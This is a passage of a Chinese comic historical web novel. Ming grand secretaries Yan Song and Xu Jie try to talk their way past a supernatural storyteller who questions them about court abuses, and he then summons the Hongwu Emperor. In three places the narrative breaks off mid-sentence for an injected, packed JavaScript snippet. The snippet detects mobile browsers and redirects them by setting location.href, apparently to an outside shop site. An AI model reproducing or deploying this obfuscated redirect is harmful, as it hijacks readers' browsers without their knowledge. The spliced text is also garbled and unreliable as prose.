袁炜匆匆赶到时,阁老们也妆点完毕;于是三个大扑棱蛾子带着一个茫然无知的袁侍郎,走出值房,径直入宫。他们在内侍带领下,分花拂柳,步入西苑无逸殿,全程有意无意,扫探四周,但越看却越是纳闷——因为西苑各处山石草木,居然都绘满了符咒阵法,四面堆筑祭坛,燃烧有各色奇香、草药,按阵式摆设法器……说实话,搞得简直是狼藉遍地。 西苑是真君清修之所,怎么能这么乱来呢? ……好吧真君平日里也挺乱来的;但如此诡异情形,仍然令一切大臣心中嘀咕。他们默不作声,快步走过降妖除魔的种种布置,踏入召见的无逸殿。不过,刚刚走进宫殿大门,那种微妙的诡异感就更加深重了起来——前来迎候他们的宫人都是一副有气无力、眼窝黢黑的模样;殿中也没有往日焚烧的松柏清香,反倒是萦绕着一股浓厚的药膏气味……虎骨酒、熊胆丸、鹿血散,闻起来像是宫里的尚药局被炸上天了…… 拐进正殿后,浓厚的药气简直已经要激得几个老头打喷嚏了;他们强自压抑,举目四望,却见原本空旷的大殿同样符咒高悬,法器晃荡,而正中则挂有厚重纱幔,密不透风;司礼监大珰们手持如意,分列左右,同样面无表情。 大臣们心中忐忑,只能趋步上前,躬身行礼;毕恭毕敬,三呼万岁。内里真君含糊嗯了一声,刚欲开口,便突见站立在侧的某个青年平静出声,竟尔漠然上前,直接挡住了天颜: “这就是内阁全体了?你们倒安排得很齐整么。” · ——嗯?!! 在这瞬息之间,便真能看出大臣们久经磨砺的功力了。仓促变故骤然而起,次辅张治及萌新徐阶等还在愕然,站立在前的严阁老却突然瞠目攘臂,大吼一声,踏步扑上前去: “竖子安敢惊驾!” ——没错,在进入正殿之时,严阁老就已经敏锐觉察出了最大的异样:站在皇帝左右的那个青年完全是一副生面孔,思来想去没有任何印象;偏偏身上的服秩一塌糊涂,左顾右盼,轻浮之至,也完全没有一点御前侍奉的规矩;更不用说语带威胁,比比划划,神色倨傲之至;更有极僭越、极不能容忍的举止! ……一个傲慢的、陌生的、绝无礼数的狂徒,突然贴身出现在皇帝左右,你会想到什么? 没错,这一刻数十年奸臣磨砺的经验闪闪发光,这一刻忠君诚心熊熊而起,满腔热血起伏沸腾——严阁老冲到半途,已经厉声吼出了第二句: “还不快护驾!” ——当然,冲刺在前的严阁老真是要奋不顾身,决心为君王贡献一切了么?喔那其实也未必,因为严阁老自己也知道,眼下确有什么奇特宫变的可能性还是很小的,这多半又是皇帝胡搞乱搞,搞出的虚惊一场;可是,纵然是虚惊一场,难道就妨碍了严阁老展示他的一片忠心了么? 事情可能是假的,但这仓促爆发之中,阁老坚决护主的诚心可是真的呀!就算本身没有什么大碍,可亲眼见证如此坚决之炽热心情,不也能让我们缺乏安全感的飞玄真君大感触动,温软之情,油然而生么? 抓紧一切时间,时刻表演忠诚,这就是我们严阁老能青云直上,圣眷不衰的伟大法宝,其余软弱废物,又焉能体会真谛之万一? 可以说,政治素质之高下立判,就在这一瞬的本能之中。严阁老猛冲到半途时,剩下三个大臣也迅疾反应过来了;但时机已失,再无他法,只能目瞪口呆、悔恨万分的看着严首辅迈动老腿,如疾风般跃过金阶,跳上神台,张开双手,勇猛挡在了丝帐与狂徒之间: 逆贼,休伤吾主!! 喔对了,在拼力阻拦之时,严阁老还及时回头,向纱帐内送上了一个他早就已经筹备好的眼神——三分坚决、三分热烈,外带二分柔情、二分安抚,决计要一眼万年,铭刻入怀,叫飞玄真君此生此世,都忘不了他严分宜忧郁的眼神…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288074|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是,他就近距离看清了纱帐内的底细: ——天呐,这是哪里来的猪头呀!! 严阁老大吃一惊,定睛一看,发现这并非猪头,而是脸肿成两倍大的飞玄真君! ……等等,飞玄真君的脸怎么会肿成两倍大呢? 严阁老僵硬转头,环视四面,这才惊觉,在自己大喊着忠诚呐热血呐羁绊呐卖力冲上来的这一歇功夫,附近竟然没有半点动作;不但那狂徒无动于衷,就连侍奉的宦官们都一动不动;相反,他们都神色奇异,齐齐以一种古怪——古怪的眼神望着严阁老。 严阁老:………… 严阁老微微一愕,腿忽地有点软了。 说实话,在猛冲上前之时,严阁老心中极速运转,就已经做好了万全的打算;在他看来,殿中的所谓“异样”九成只是虚惊,并无大碍;就算有一成可能,真是什么莫名变故,那西苑附近,亲近皇帝的力量也绝对占了多数;只要他振臂一呼,率先反击,肯定即刻就能掌握大局;泼天大功,唾手可得,说不好还能名垂青史,从此成为忠臣典范,配享太庙,相伴飞玄真君于始终——如斯佳话,岂不美哉? ……好吧,永远陪伴飞玄真君什么的,说起来还是有点太吓人了;但无论怎么说,只要他严嵩迈动老腿往前一扑,那严家三代的富贵都该稳了嘛! 可是现在看来……这形势怎么不大对头呢? 太监呢?侍卫呢?皇帝的亲信心腹呢?怎么你们就眼睁睁看着这么个狂徒胡作非为,全程竟没有半点动静?还有——还有,皇帝的这个猪头模样,又是出了何等的大事?把一个打成这样的皇帝给直接抬了出来,而全程居然无人敢有异议,那宫里,宫里到底…… 严阁老长长吸一口气,只觉一瓢冰水,从脊梁上浇了下来! ——诶,也许他严嵩终究还是有点老了;也许刚刚的反应还是有点躁进了;总之,总之他现在腿有点发酸心头也有点打鼓,脑子也有点一阵一阵的发昏;他似乎应该立刻躺倒下去,哎哟哎哟大流口水,表示刚刚纯粹是老糊涂了失心疯犯了失误,大家全当放屁从头再来罢…… 严阁老手脚发凉,浑身颤抖,在此诡秘气氛下目瞪口呆的沉默了片刻;站立在真君身后的黄锦黄公公才终于向前一步: “这位是昨夜降临宫中的高人。”他用拂尘指一指那狂徒:“因为在外面见识了种种异象,有所疑虑,所以圣上才广开方便,特召内阁解释;诸位阁老畅所欲言即可。” 严阁老:? · 显然,要让惊骇失常的阁臣们稍稍恢复一点理智,就必须介绍详细的背景设定;黄公公对此筹谋已久,此时再无迟疑,娓娓道来,尽力解释了昨晚那匪夷所思的可怕经历;当然,黄公公久历战阵,情商了得,删繁就简,已经适当忽略了一切会微妙诡异、不利圣上威严的细节;可是,在长篇大论之后,他所迎来的,仍然是四双呆呆瞠视的眼睛。甚至次辅张治忍耐不住,还当场抽了口凉气! ——坏了,黄公公也疯了! 没错,这么年来大家为了官位为了权力,都不能不忍着恶心跪舔当今飞玄真君,竭力迎合皇帝那一套诡异奇特的长生世界观;但跪舔归跪舔,迎合归迎合,难道你还真信了不成? 工作是工作,生活是生活啊,黄公公! 与深渊对视过久,自身也要落入深渊;莫非贴身伺候太久,飞玄真君之长生信仰还产生了模因污染,古怪理念会随着言语与行为而扩散?难道日后应对一个神秘主义的刻薄皇帝尚且不够,还要额外应对一群疯疯癫癫的神经太监? 天呐,这怎样诡异而恐怖的世界观呐! 面对着四双惊骇而奇异的目光,黄公公的脸板起来了。 他侧身让出了位置: “杨先生?” 杨先生上前一步,抬手招出了一个用于夜晚照明的光球。 内阁:………… ——等等,我们是不是也疯了? 7. 呼唤 等待足够长的时间后,杨易挥一挥手,又熄掉了光球: “那么,诸位是否可以接受现实了?” 还是沉默,死寂的、完全没有反应的沉默;如此沉默了又半刻钟的功夫,木立如雕塑的人影中才终于有了动静——出乎意料,这一次小心开口的,居然是中枢资历最浅的萌新,礼部尚书徐阶。 徐阶低声道:“……刚刚公公说,杨先生是因高凤构陷的逆举,才怒而下降。” “是。” “那么,请问这高凤何在?” 这个问题倒有点莫名其妙;黄公公微微愕然,还是转过人去,露出了缩在人后的罪犯。 事出非常,匪夷所思,冤仇满腹的司大宦官当然不会放过万恶祸首;昨夜说书人刚刚睡下,麦福立刻叫人把这忘八提来,好好来了一顿收拾——当然,说书人还没有公开作出判决,他们倒也不敢擅自专断,真把人给弄废;只叫这狗种脱了衣服扛着粪桶,在寒风下跪了一夜的铁算盘。所以今日高凤虽然萎靡憔悴,支离难堪,但被拎上来受训,总还没有什么显眼的伤势。 徐阶的目光移了过去,在高凤尚且完好的手脚处扫了一圈;随即又垂下眼睛,再无动作,只是顾盼之时,蜻蜓点水,似有意、似无意,与呆立上首的严阁老来了个对视。 “先生所责问的第一件事情。”他轻声细语道:“就是高凤的构陷么?” “不错。” “这件事情,确实大为差池。”出乎意料,徐尚书居然爽快认了:“误纠误举,不能御下,责任首在内阁,在司礼监;臣忝任礼部尚书,恰恰提举此事,思虑不周,多有讹误,实在惶愧无地;先生若以此责问,罪臣无话可辩。” 杨易皱眉:“怎么又有内阁的事了?” “年前京师骚动,有妖人诳惑人心,诡言祸福,四处散播传单,隐有为倭寇张目的意思。”徐阶从容道:“内阁为此拟定条例,严厉管制京师一切印刷作坊;当时的条文,就是出自罪臣之手。但现在想来,罪臣拟定的规制委实过于粗疏,给予了东厂及锦衣卫太大的权限,后续监管,又有不足;小人借机生事,方酿今日祸端;寻根究底,罪过首在微臣。” 说罢,他一撩袍袖,跪了下去——这跪伏所对的方位,恰恰就在飞玄真君与说书人的正中;所以远远望去,便仿佛徐尚书既是在跪皇帝,也是在跪高人,莫可分辨。 杨易不觉默了一默: “……高凤的事情,其实也是小事;但开春暴增的流民,又是怎么说?再这么折腾下去,恐怕偌大京城,安不下一张安静的茶桌。” “京城多有流民,是天气不调的缘故。”这一次回话的是严阁老,他俨然已经从刚刚的震惊中强力恢复,语气重归镇静:“去年河南大旱,今春河北又大旱,初夏时黄河几处堰口还有决堤;水旱靡时,民失生计,不得不到京城讨口。” “你是要怪天象?” “不敢。”严嵩道:“三年丰,三年歉,六年一小灾,十二年一大灾。天象在尧舜时就是这样。备荒赈济,安抚灾民,都是内阁的责任,是首辅的责任;筹备不及,调遣不周,百姓流离,罪在老臣。” 说罢,他一掀衣服,同样也跪了下去! 高人这次是真给干沉默了。杨易垂头打量这两个跪得结结实实的老头,刹那间微微惊愕,居然都有点找不出话来——你直接上来就跪,别人还能说什么? 说书人谔谔不语,低头沉吟;一上一下跪着的两个大臣于俯伏中略微抬首,四目相对,同时划过一抹压抑的喜悦: 赌对了! 是的,在第一眼打量那个做下大孽的罪魁高凤时,徐阶徐尚书就敏锐发现了最关键的事实——虽然是整场闹剧的导火线,直接迫害这位“说书人”的第一责任人,但这个始作俑者却似乎并没有遭受什么残酷暴虐的刑罚;如今一夜已经过去,他的四肢五官尚且完好,生理功能好像也没啥大碍,至少活下去还不成问题…… 这铁一般的现实说了什么?说明了这位说书人多半没有什么嗜杀的习惯!如果再考虑到他昨夜寻根究底,必得追查证据,而非暴怒泄愤,直接动手;那么此“高人”的理性克制,搞不好还远在自家飞玄真君之上啊! 换言之,如果单从思维逻辑和行事风格上考虑,这还很能算是个正常人呐! ——喔这里并没有影射我们至尊至贵之飞玄真君不正常的意思,一切黑子自重,请勿栽赃阁老! 既然是正常人,那反而好办了。如果这天降高人有历代皇帝一半的做派,那阁老们也就只有心灰意冷,闭目不言,等待终审判决了;但如果性情还算平和,说话还算讲理,那么阁老们绞尽脑汁,不是不可以拼力一争的! 所以,在稍作对视,迅速默契之后,大臣们便立刻展开了迂回战术,竭力以图自救;所谓徐阶主攻,严嵩辅助,双方联手,威力无穷;而往来辩论的中心思想,亦非常之简单,那就是只答不辩,疯狂道歉;一切责任,归于己身,深自引咎,沉痛悔过,绝不做任何推脱;要下跪就下跪,要磕头就磕头,要问罪大家就麻溜的去诏狱,一句话都不会强辩的! 当然,如果还是往昔匍匐于飞玄真君驾前,那就是再借一万个胆子,严阁老等也绝不敢用此躺平认罪之摆烂法门;因为真君的刻薄大家都知道,你能认罪他就能甩锅,踩上一脚不得翻身,必然搞得你家破人亡,痛哭无地;但现在……现在不同往日了嘛!这说书人可是个正常人诶,正常人看到别人放低姿态认错磕头,好赖也得有点不忍人之心吧?就算先前有十分的火气,现在也该消下去三五分吧? 这就叫君子可欺之以方,懂不懂? 总之,这一套战术的效果是显著的;至少说书人微微沉吟,面上的神色已经大有缓和;而四面木立的太监们目瞪口呆,则情不自禁,悄悄向阁老们投去了敬畏的目光——往常与诸位穷酸文官的交道打得多了,只见着他们在皇爷面前战战兢兢,谄媚逢迎,仿佛搓圆搓扁,只堪一笑;但如今稍露峥嵘,才见识到了高手真正的水准! 苍天呐,这就是大明官场搏杀出的高端局么?! 高端局里小虾米露头就秒,连呼吸都是错的,所以在场一切人屏息凝神,只有将所有殷切的目光都注盼到了两位大臣身上! 终于,思索片刻后,说书人平静开口了: “那么,朝天观和玄都观的工程又怎么说?” 徐阶心头一跳,知道真正的坎来了——要是别的事情,那内阁司礼监咬一咬牙都能承担了;但是大兴土木,崇道炼丹的事情,却真的没有任何办法可以推卸,一切责任,都有且只有一个根源,不可言说的根源——要是寻根问底,不断深究,则牵连必将不可胜数!为今之计,必须咬紧牙关,设法硬挺过去,稍一不慎,怕就要全盘翻倒! 果然,经验更丰的严阁老匍匐回话: “两处工程,是我当今皇帝陛下为皇考兴献皇帝及皇妣兴献皇后所筑;为先皇帝及先皇后祈求冥福,稍尽孝思。” 兴献皇帝兴献皇后,正是当今飞玄真君蹬腿的亲爹亲娘,当年飞玄真君不惜与朝臣翻脸搞大礼议,宫门外廷杖百官血流淋漓,就是要给亲爹亲娘争一个正统名分;要是说一句“孝”,似乎也担当得过去。不过,杨易却只扬眉: “何处尽孝不可,非得在这个时候动工么?” “当今圣上年幼丧父,是兴献皇后一力抚养成人;因此孝思不匮,自然比别人更为真切。”严阁老缓声道:“去年末,圣上夜半惊寤,梦见先皇帝与先皇后相聚如平生欢,既醒,悲而不可自抑,乃有兴建之举。” ——没错,严阁老决心强渡关山,硬闯难题的唯一办法,就是打感情牌! 其余的错误,小的问题,内阁能替皇帝承担的都承担了,承担不了的大不了推给天象;而其余真正要命、无可推卸的指责,则只有想方设法,尽数甩锅给真君的原生家庭——早丧的亲爹守寡的妈;孤栖的王府破碎的他;真君的原生家庭这么悲惨孤独,成年后心态稍微扭曲一点,那不也是很正常,很可以理解的么? 我们真君苦啊,苦的就像是车轮底下的野草,石头缝里的黄连;真君都已经这么苦了,你们为什么就不能体谅体谅呢? ——总之,不是飞玄真君害了你们,是这原生家庭害了你们呀! 杨易皱起了眉: “为了一个孝字,就可以折腾得天下大乱么?” 严嵩俯首:“圣朝以孝治天下。” ——没错,在儒家伦理体系里,孝就是最高级的道德,最优先的价值;与孝相比,什么仁、义、忠都得往后稍稍;飞玄真君为了孝顺爹娘扰动天下,在现有道德系统里,还真是交代得过去的! 当然,你也可以选择推翻儒家道德,另立地水火风……但你确定要在这里搞大辩经么?或者干脆掀桌,直接图了再说? “此外,扰动天下云云,也绝非圣上之本意。”严嵩又道:“扩建宫观的事情,本是归工部统领;但玄都观与朝天观地处冲要,又不得不找兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288075|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马司清理闲人,维护治安;兵马司长久驻扎,后勤难以筹措,所以又要动用宫中惜薪司、外朝太常寺,设法调拨柴火食料,安顿官吏;惜薪司与太常寺,虽然职守颇有瓜葛,但分属内外,历无往来;所以又要司礼监居中沟通,往来协调——如此稍稍计算,仅修建这两处工程,调动的衙门就有十数处之多;因为彼此各不统属,消息难免窒遏,所以成效不高,浪费极大,种种乱象,由此而生;这也是中枢未能居中调和的过错。” 杨易:………… 不是,你这叽里咕噜说些什么呢? 他迟疑片刻,终于道: “……所以呢?” “京中要津需兵马司护卫,这是洪武十二年定的章程。兵马司物资由宫中供给,这是永乐八年定的规矩。”严嵩娓娓道来,如数家珍:“禁止宫内宫外的衙门随意往来,一切事务必经司礼监,则是宪宗皇帝成化五年的旨意;孝宗、武宗亦曾重申;凡此种种,一一都要照顾到;下面的人不肯用心,才会手忙脚落,疏忽大意,酿成祸患。” 是的,在严阁老君子可欺之以方计划的第二步,用于搪塞高人的办法,就是官僚主义——高人要是不细问也就罢了,如果细问缘由,那就将整个繁琐、冗杂、叠床架屋的形式主义和盘托出,叫世外仙人也见识见识我带明公文往来之乐——以百年屎山代码之蔚为壮观,以程序往来之错综复杂,就算仙人降世,神通广大,又有何能为哉! ——总之,我们内阁的历史发展比较长,文官储备比较丰富。我们实施现有政策,是想在调整政治布局的过程中,提高制度建设水平,做好行政服务工作,搞好国家权力格局建设。我们不是不纠错,是缓纠,慢纠,优纠,有次序的纠,让有条件的先纠错,让有需求的先纠错,懂不懂? 喔当然,如果高人不识好歹,非要继续追究,那么严阁老是绝不会手足无措,只晓得嗫嚅一句“别说了”的。相反,他可以立刻给说书人背出来从洪武到成化一切相关的政治文件,旁征博引雄辩滔滔,就地论述大明土木施工制度衍生与变迁,以及制度安排中各种复杂考量之利弊——到了那个时候,说书人就会惊喜发现,整套流程全部都有文件,所有举措都是在按规矩办事;仿佛流程中所有人都有责任,于是所有人也都没有责任。那么一切问责,都在系统自然的庞杂运转中,悄然就可消失不见! 这,就是官僚! 说书人的眼睛眯了起来: “严阁老预备以此敷衍?” “不敢。”严阁老道:“内阁与司礼监的体制,是我大明两百年统率之根基;圣圣相因,各有兴革,岂老臣可以妄议。老朽愚钝,唯待高贤。” 我们大明的制度就是这样啰,运行了两百年反正能跑;你要我改这种两百的屎山,那老朽肯定也只有另请高明。当然,你要是对带明制度不满意,你也可以来建设它嘛,条分缕析修补bug,推倒屎山重头再来,如此自觉自愿的冤种牛马,我们肯定也欢迎得很呐 杨易:………… 杨易难得的有点噎住了。 显而易见,如果要他紧追不放,现场追述历史,引用文献,再锐评一个带明行政制度之根本弊病;那肯定是做不到了;或者他本能怀疑,就是明史高手,也没有几个能够做到。但如果哑口无言,干脆暴力掀桌,直接闭麦,那又好像他是愚蠢破防,等同辩论认输,委实也有点尴尬;如此思来想去,似乎…… 眼见高人再次默然,似有踌躇;四面专注的目光,登时灼灼闪亮了起来。不但太监们崇敬注目,小鹿乱撞;就连飞玄真君都忍不住探出一个大头来,从肿胀成两倍的眼皮里,硬是挤出了一道激赏的眼神! 哎,当此临渊履薄,天崩地裂之时,还是自己的老baby才靠得住啊! 杨易无言少顷,终于微笑。 “几位说得不错。”他坦率承认:“我对这些,确实不懂,也不能乱发意见。” 严嵩、徐阶:? 两人的眼睛不自觉的闪出了光! “的确,没有调查就没有发言权。面对这样复杂的问题,是绝不能轻佻论定的。”杨易自顾自道:“必须得有一个经验丰富、威望卓著,曾经躬身入局,亲自建设过大明制度的绝对老资历,才能真正做出客观准确的判断。” 众人:………… 等等,这个形容—— “所以。”杨易一锤定音:“我决定要召唤洪武皇帝现世,公正做出评判。” ——啊?!!! 8. 现世 在那一瞬间,所有人都呆呆望向了说书人。 说实话,虽然已经亲眼目睹过说书人无数的变化神通;但什么“召唤洪武皇帝”云云,还是太离谱,太匪夷所思了,所以众人木然僵硬,一时还真没有理解这一句古怪的宣言。 但很快,说书人就挥了挥手;一轮太阳似的光球徐徐飞出,光辉夺目,照射四方;太阳正中一个人形笑容和煦,眉秀目炬,鼻直唇长,面如满月,须髯皆如银丝可数,不甚修—— 只听扑通声响,在场一切人等,登时趴了下去! 显然,现场大珰显要,都曾经敬谒太庙参拜祖宗,当然能认得这一张和蔼慈祥的御容;毫无疑问,这就是当今一切秩序的缔造者与创立者,世界光复者,汉文明再兴之人,千百万官僚永久且最严厉的大爹,前佛门弟子、业余皮匠、黄金下巴、千万级畅销书《大诰》作者、老背包客、大明太·祖开天行道肇纪立极大圣至神仁文义武俊德成功高皇帝! ——大明恩情课文,洪武皇帝爷爷用剃刀击落贪官人皮! 不得不说,数值强杀还是比不上针对特攻;任说书人的神通法术奇幻奥妙,严阁老徐尚书等人都还能镇定情绪,竭尽心力,以各种手腕周旋往来,甚至一度还占了点上风;但现在呢?现在高皇帝只不过是露了个人影,这两老头居然就直接瘫倒在地,大汗淋漓、抽搐匍匐,宛如一条死猪,再也没有动静了。 当然啦,这也是很正常的;众所周知,论天无二日,室内盘坐的飞玄真君自是当下大明唯一的太阳;但论敬天法祖,高皇帝又是大明永久的太阳;如果我们尊重科学,那么眼下室外又有一轮太阳——所谓三日凌空,一般人确实也遭不住吧? 杨易叹了口气,微微侧身;他能明确听到,身后瘫坐在地的飞玄真君正在发出某种咯咯的古怪声响;仿佛是他的声道与喉咙都被肿成两倍的脸给堵住了,叽叽咕咕不成样子。 如此咯咯半天之后,真君终于挤出一句话来: “你,你……亵渎高皇帝在天之灵,狂悖恶逆,乃至于,乃至于此——” 唉,这听起来好像是孝子贤孙正义怒指责,对于亵渎先祖的恶行深恶痛绝,冤仇在心,所谓寝苫枕干,弗与共天下也——不过,因为语气实在微弱,所以并没有什么威慑力。 “我可不敢搅扰高皇帝。”杨易道:“只是将现下的情形传送过去,请高皇帝自己抉择,是否同意而已。高帝陛下要是不愿意配合,我也没有任何办法啊。” 在场所有人的呼吸都停了片刻——“自愿抉择”?你猜高帝陛下得知了现在大明的境况,他会掀棺材板么? 没有人敢再说话了。室内陷入了新一轮的,可怕的沉默;说书人抬手招来光团,注目凝视片刻,任由这诡异的寂静发酵……然后,他慢慢露出了一个微笑。 “说起高皇帝来,我之前倒是在茶馆里听到过一个笑话。” 心力交瘁,毛骨悚然的众人:? “有一回茶馆里的贵客聚众吹牛,有人说自家下人中有高手善于长跑,半个时辰不到,就能从广渠门奔至广安门,连大气都不喘上一口。”杨易道:“同来的朋友听了大为不服,说这又算什么,我们大明长跑有的是高人;要是埋在金陵的太·祖洪武皇帝活了过来,如今朝中所有的大臣,绝对用不了一日的功夫,就能从京城跑到朝鲜去——” 匍匐众人:………… “其实仔细想来,这种假设倒是很有意思。”杨易自顾自道:“我真的很想做个验证……这样吧,高皇帝现世还有一阵功夫;在这段闲暇里,列位诸公可以尽情奔逃,能跑多远就跑多远;我绝不做阻拦。大家可以验证看看,最后这一轮逃杀,到底谁能够幸存。” ……说实话,这大概也是杨易干主播的习惯爆发了,待久了无聊了没有反应了,就总得整点活炒一炒气氛。免得大家干坐着没什么意思。所以这一句话多半也只是顺口而言罢了。 不过,话音袅袅,犹在空旷大殿回荡;下跪众人之中,便突然有个身影鱼跃而起,折身向殿门狂奔而去——正是跪在队伍最后,全程无声无息,毫无存在感的礼部侍郎袁炜! ——是的,早在高凤被拖出来指认罪行,吐出当初罗织《西游记》罪名之往事时,袁炜袁侍郎的心态就已经完全爆炸了;他当然不会忘记自己勾结高凤干的好事,不会模糊自己当初使出的狠辣招数。抚今追昔,以己度人,自不敢对事态有半分妄想;等到说书人决定召唤出高皇帝的那一刻,那最后一根弦也崩断了! 拜托,那是高皇帝诶!现在谁的底细能顶住高皇帝的细查? ——好吧你们不怕高皇帝你们是这个,老子是真的不敢头铁啊! 所谓明哲保身圣人所训,喔再见了陛下小臣今日就要远航,不必为臣担忧臣有智慧与勇气的桨;喔久别了诸位牛马同僚,我走后不必时时想念我,也千万不要劳神寻找我,否则归隐了还要看到你们这张老脸,这一辈子是真的有了—— 事出突然,兔起鹘落,杨易都是微微一愣,才反应了过来;不过他也遵守诺言,只是笑了一笑,别无动作。倒是短暂惊愕之后,纱幔中突然哐当一声巨响,飞玄真君抬手砸出一个砚台,嘶声吼叫: “抓,抓住这个人!别让他跑喽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288076|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 皇帝都疼得跑不了,你小子倒是先跑了;狂悖无耻,一至于斯!如此恶逆放肆,真君岂能容忍! 再说了,你当我们真君是傻的么?高皇帝的攻击力是一定的,承受攻击的受害者数目却是不一定的;姓袁的要是跑了,那就等于平白少一个靶子,多余的攻击,就只有平摊在剩下每一个跑不了的可怜虫身上——这其中的差值,你当我们真君不会算吗?跑了一个,不就等于害了所有人么? 你走了,我们怎么办,啊?! 刹那之间,对于逃兵推卸责任的愤怒,简直已经超出肿胀头部的痛楚,飞玄真君不管不顾,尖声咆哮: “欺天了!!拿住这个忘八狗贼,拿住这个杂种狗贼!” 咆哮声中,立刻就有潜伏的高手自两面跃出,飞扑向仓皇失措的袁侍郎——一个踹腿,防止逃跑;一个扇脸,防止求饶;嘎嘣两声,分筋错骨——还好,袁侍郎并没有说书人的神通;所以在一声凄厉惨叫之后,很快被四手按倒,翻滚在地;抽出腰带,就地捆成了死猪——顺便又挨了几计沉痛的黑脚,全当替皇帝泄愤。 袁侍郎叫喊连天,痛得好似杀猪;但任由天翻地覆,前方的内阁大臣仍旧就地跪坐,一动不动,没有向后方的同僚投去一点眼神;显然,在场一切人等,无不痛恨此等叛徒行为,所以旁观之时,唯有暗自解气而已。 哼,想逃? 袁侍郎惨叫了一回,又呜呜止住了;似乎是被侍卫脱下袜子直接塞住嘴,只能原地打滚罢了。 眼见此次出逃终于以失败告终,期盼的杨易移开目光,则不由叹了口气——说实话,高皇帝又没有本朝官员的详细名录,根本也数不了人头;在他现身之前拼命逃窜,其实还是能逃出去不少的。但可惜呀,这样一筐螃蟹你夹我我夹你,那就谁也走不了了。 哎呀,这就是所谓的高层互害么? 袁侍郎消停了下去,宫殿中也再没有其余动静。杨易等待许久,徐徐道: “……那么,在下就开始啰?” 还是没有人说话,杨易抖一抖衣袖,按照系统指示,抬起双臂,于是字正腔圆的声音,响彻上下,久久回荡: “——复活吧,我的重八!” · 慷慨激昂的声音四下回荡,灿烂光球迸射开来,刺得所有人都睁不开眼睛;片刻之后,光辉消散,四面清朗,只有长风呼啸穿堂而过,吹动了面前老者的衣衫。 眉秀目炬,鼻直唇长,面如满月,宛然一慈蔼美男子——大明太·祖开天行道肇纪立极大圣至神仁文义武俊德成功高皇帝,终于堂堂现世! 9. 高帝 在场所有人脸上的血色都消失了,就连被压在后头的袁侍郎都不敢哼哼了——至此,众人最后一丝妄念也终于消灭,如今所能残留的,不过只有最鲜明的恐惧。 高皇帝徐步走上金阶,左右环视一圈,所见无不战栗;在一片寂静之中,他收回目光,望向了左近的杨易。 “你就是杨先生?” “不错。”杨易客客气气道:“在下惶恐,见过高皇帝陛下。” “都到地下了,还谈什么皇帝不皇帝?”高帝淡淡道:“杨先生呼唤咱,就是为了料理此间的事么?” “自然。”杨易道:“在下与两位阁老辩难(瘫在地上的两位阁老明显抖了一下),颇有不解,只能请求陛下降世解答了。” “原来是为了这个事体。”高皇帝道:“咱还以为是找咱来给大明朝送终呢。” 众人:??!!! 刹那之间,下面喘气的声音都没有了! “这也不至于吧。”出乎意料,说书人居然出声辩解了几句:“现在的情形,总没有到那个地步;当今圣上,毕竟,到底,还是,嗯——” 理论上讲,你要安慰高皇帝宽心,那总应该说现在的皇帝几句好话,表示事情仍有可为,不必如此丧气;但杨易搜肠刮肚,挤了半天的形容词,发现自己居然卡壳了! 当今圣上有什么优点来着? 说书人尴尬的沉默了。 当然,就算当今皇帝的优点比较的——嗯——不显著,现下大明确实也没有高皇帝忧虑的那么危险;总的来说朝廷中奇葩固然很多猛人其实也不少,在老道士嚯嚯了几十年后,都还能有高、张之流群贤相因,费劲心力为朝政描补;要不是接踵而至的是摆宗万历这位千载不遇之绝代神人,搞不好还真能晃晃悠悠混到三百年开外去……或者你可以想象,在被摆宗万历木匠天启和槐宗崇祯这三任神人皇帝接连猛锤之下,老朱家政权居然还能挺个六十年才散摊子,无论从哪个角度讲,都已经是非常难杀的级别了…… 高皇帝冷笑了一声。 “此间的缘由,咱被召唤出来的时候,就已经知晓得差不多了。”他面无表情道:“你们有什么话说?” 恐惧的沉寂持续了一阵。还是飞玄真君从小就亲近的贴身太监黄锦最为忠心,即使在在如此岌岌可危、精神紧绷之时,居然还能冒险开一句口: “奴婢斗胆,叩见爷爷;回,回爷爷的话;大明朝,大明朝开国已有两百年,当今圣上登基也有数十年,国事倥偬,百务冗杂;千头万绪,非一言可以尽述。奴婢万死,求,求爷爷听奴婢细说一说……” 喔,又是拖延战术;用详尽的细节与流程填充对话,尽力在平直呆板的叙述中消弭对对方的愤怒;所谓顶级官僚绝招之一。这一招曾用在说书人头上,效果便显著之至;不过现在嘛…… 高帝瞥了黄锦一眼。 “说得不错。”他轻描淡写道:“初来乍到,确实要看看情况。” 黄锦明显吐了口浊气! 